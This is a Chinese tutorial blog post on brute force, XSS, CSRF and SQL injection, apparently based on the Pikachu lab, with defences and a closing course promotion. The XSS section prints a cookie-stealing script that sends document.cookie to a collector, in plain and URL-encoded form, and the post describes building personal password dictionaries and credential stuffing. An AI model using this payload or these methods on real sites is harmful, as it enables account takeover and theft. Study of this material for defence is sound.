常见的Web漏洞分析(上)
暴力破解攻击
概述
不断地去试用户名和密码,直到试出来。
字典
1.常见的弱口令;
2.互联网上被脱裤后的账号密码(撞库),人们为了方便记忆很多网站使用相同的账号密码;
3.指定字符利用工具生成专属字典,已知某妹子的姓名手机号爱好等生产专属子字典。
产生条件
是否要求用户设置复杂密码;
是否每次认证使用安全的验证码;
是否对尝试登录的行为进行判断限制(例如五次输错暂停登录30分钟);
是否在必要的情况下采用了双因素认证(例如不光验证账号密码,还验证登录设备)。
测试流程
1.确认登录接口的脆弱性;
2.对字典进行优化;
3.工具自动化操作。
技巧:
1.试注册确认账号密码的要求(例如长度6位以上不允许出现数字);
2.管理员后台密码admin/administrator/root几率高。
常见场景
1.前端验证验证码
2.后台验证验证码
- 验证码使用后没有被丢弃
- 后台没有验证
- 后台验证码参数为空,始终验证正确
3.token防验证码
后台生成token,会直接写在前端,编写脚本获取token,一起提交。
XSS(跨站脚本漏洞)
产生原理
攻击者在存在XXS漏洞的网站写入脚本,用户访问XXS页面返回带有恶意JS的页面,触发脚本,执行脚本发送窃取数据到攻击者指定的端口,攻击者伪造用户登录。
主要原因:
对输入和输出的控制不够严格,导致精心构造的脚本在输入后,在输到前端时被浏览器当作有效代码执行。
测试流程
1.输入特殊字符 ‘“<>?&
tips:输入长度限制,改前端代码
2.成功后输入payload
常见类型
1.存储型
特点:存在数据库,永久存储
易发情况:留言板,注册
2.反射型
特点:一次性
易发情况:查询页面
get 带有XSS的URL伪装后发送给目标。
<script>document.location='http://127.0.0.1:8080/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>'</script>http://127.0.0.1:8080/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F127.0.0.1%3A8080%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E%27%3C%2Fscript%3E&submit=submit
post 制作另一个网页向C2发送数据。
3.DOM型
特点:不与后台服务器产生数据交互,DOM操作前端代码输出产生,属于反射型构造前端闭合。
防范措施
输入做过滤,输出做转义。
CSRF(跨站请求伪造)
概述
攻击者伪造一个请求,欺骗用户点击,用户一旦点击,在自己的登录态下发送请求,攻击完成,故CSRF也称“one click”攻击。
攻击完成满足的条件:
1.网站没有对个人信息修改进行防CSRF处理,导致请求易被伪造;
2.lucy登录了后台的情况下,点击了攻击者的链接,lucy不在登录态,或者不点链接均不会成功。
与XSS的区别:
CSRF借用户权限完成攻击,XSS直接盗取用户的权限。
测试流程
抓包观察是否加验证码/token。
get/post 漏洞演示
get:明文传参
post:借助另一台服务器上的网页发送post请求
Anti CSRF token
token随机数防御CSRF攻击。
防范措施
请求容易被伪造,加token验证。
SQL注入
闭合测试,构造合法SQL,欺骗后台执行。
SQL Inject漏洞原理概述
没有对用户输入的内容进行限制。
如何判断注入点类型及常见注入类型讲解:
- 数字型
- 字符型
- 搜索型
注入方式get&post的区别
手工测试
SQL Inject漏洞手T测试:基于union联合查询的信息获取( select );
SQL Inject漏洞手工测试:基于报错的信息获取(select/delete/update/insert);
SQL Inject漏洞手工测试:操作系统权限获取。
盲注
对错误的信息屏蔽,或者使用标准方式输出:
1.没有报错信息
2.不管输入正确还是错误,都只显示两种情况
3.正确输入下,输入and 1=1/and 1=2发现可以判:
- SQL注入漏洞-盲注( boolian base )原理及测试
- SQL注入漏洞-盲注( time base )原理及测试
最后: 下方这份完整的软件测试视频学习教程已经整理上传完成,朋友们如果需要可以自行免费领取【保证100%免费】
这些资料,对于【软件测试】的朋友来说应该是最全面最完整的备战仓库,这个仓库也陪伴上万个测试工程师们走过最艰难的路程,希望也能帮助到你!
软件测试面试文档
我们学习必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有字节大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。
还没有评论,来说两句吧...